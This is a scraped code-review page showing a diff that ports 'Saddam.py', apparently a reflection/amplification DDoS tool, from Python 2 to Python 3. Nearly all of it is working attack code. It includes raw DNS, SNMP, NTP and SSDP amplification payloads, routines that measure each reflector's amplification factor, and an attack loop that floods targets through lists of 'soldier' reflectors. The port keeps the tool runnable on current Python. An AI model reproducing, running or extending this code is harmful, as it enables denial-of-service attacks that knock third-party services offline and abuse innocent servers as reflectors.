Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
64 changes: 33 additions & 31 deletions Saddam.py
Original file line number Diff line number Diff line change
Expand Up @@ -58,16 +58,16 @@
'ssdp': 1900 }

PAYLOAD = {
'dns': ('{}\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01'
'{}\x00\x00\xff\x00\xff\x00\x00\x29\x10\x00'
'\x00\x00\x00\x00\x00\x00'),
'snmp':('\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c'
'\x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01'
'\x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06'
'\x01\x02\x01\x05\x00'),
'ntp':('\x17\x00\x02\x2a'+'\x00'*4),
'ssdp':('M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\n'
'MAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n')
'dns': (b'{}\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01'
b'{}\x00\x00\xff\x00\xff\x00\x00\x29\x10\x00'
b'\x00\x00\x00\x00\x00\x00'),
'snmp':(b'\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c'
b'\x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01'
b'\x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06'
b'\x01\x02\x01\x05\x00'),
'ntp':(b'\x17\x00\x02\x2a'+b'\x00'*4),
'ssdp':(b'M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\n'
b'MAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n')
}

amplification = {
Expand Down Expand Up @@ -119,7 +119,7 @@ def Monitor():
'''
Monitor attack
'''
print ATTACK
print(ATTACK)
FMT = '{:^15}|{:^15}|{:^15}|{:^15}'
start = time.time()
while True:
Expand All @@ -132,18 +132,18 @@ def Monitor():
sys.stderr.write('\r{}{}'.format(out, ' '*(60-len(out))))
time.sleep(1)
except KeyboardInterrupt:
print '\nInterrupted'
print ('\nInterrupted');
break
except Exception as err:
print '\nError:', str(err)
print ('\nError:', str(err));
break


def AmpFactor(recvd, sent):
return '{}x ({}B -> {}B)'.format(recvd/sent, sent, recvd)
return '{}x ({}B -> {}B)'.format(recvd//sent, sent, recvd)

def Benchmark(ddos):
print BENCHMARK
print(BENCHMARK)
i = 0
for proto in files:
f = open(files[proto][FILE_NAME], 'r')
Expand All @@ -154,19 +154,19 @@ def Benchmark(ddos):
for domain in ddos.domains:
i+= 1
recvd, sent = ddos.GetAmpSize(proto, soldier, domain)
if recvd/sent:
print '{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier,
AmpFactor(recvd, sent), domain)
if recvd//sent:
print('{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier,
AmpFactor(recvd, sent), domain))
else:
continue
else:
recvd, sent = ddos.GetAmpSize(proto, soldier)
print '{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier,
AmpFactor(recvd, sent), 'N/A')
print('{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier,
AmpFactor(recvd, sent), 'N/A'))
i+= 1
else:
break
print 'Total tested:', i
print('Total tested:', i)
f.close()

class DDoS(object):
Expand All @@ -192,7 +192,7 @@ def GetAmpSize(self, proto, soldier, domain=''):
'''
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(2)
data = ''
data = b''
if proto in ['ntp', 'ssdp']:
packet = PAYLOAD[proto]
sock.sendto(packet, (soldier, PORT[proto]))
Expand All @@ -210,7 +210,7 @@ def GetAmpSize(self, proto, soldier, domain=''):
sock.sendto(packet, (soldier, PORT[proto]))
data, _ = sock.recvfrom(65535)
except socket.timeout:
data = ''
data = b''
finally:
sock.close()
return len(data), len(packet)
Expand All @@ -221,15 +221,17 @@ def __GetQName(self, domain):
octet followed by that number of octets
'''
labels = domain.split('.')
QName = ''
QName = b''
for label in labels:
if len(label):
QName += struct.pack('B', len(label)) + label
QName += struct.pack('B', len(label)) + label.encode()
return QName
def __GetDnsQuery(self, domain):
id = struct.pack('H', randint(0, 65535))
QName = self.__GetQName(domain)
return PAYLOAD['dns'].format(id, QName)
template = PAYLOAD['dns']
parts = template.split(b'{}')
return parts[0] + id + parts[1] + QName + parts[2]
def __attack(self):
global npackets
global nbytes
Expand All @@ -244,10 +246,10 @@ def __attack(self):
soldier = _files[proto][FILE_HANDLE].readline().strip()
if soldier:
if proto=='dns':
if not amplification[proto].has_key(soldier):
if soldier not in amplification[proto]:
amplification[proto][soldier] = {}
for domain in self.domains:
if not amplification[proto][soldier].has_key(domain):
if domain not in amplification[proto][soldier]:
size, _ = self.GetAmpSize(proto, soldier, domain)
if size==0:
break
Expand All @@ -261,7 +263,7 @@ def __attack(self):
i+=1
nbytes += amplification[proto][soldier][domain]
else:
if not amplification[proto].has_key(soldier):
if soldier not in amplification[proto]:
size, _ = self.GetAmpSize(proto, soldier)
if size<len(PAYLOAD[proto]):
continue
Expand Down Expand Up @@ -293,7 +295,7 @@ def main():
if domains:
files['dns'] = [dns_file]
else:
print 'Specify domains to resolve (e.g: --dns=dns.txt:evildomain.com)'
print ('Specify domains to resolve (e.g: --dns=dns.txt:evildomain.com)')
sys.exit()
if options.ntp:
files['ntp'] = [options.ntp]
Expand All @@ -317,5 +319,5 @@ def main():
sys.exit()

if __name__=='__main__':
print LOGO
print(LOGO)
main()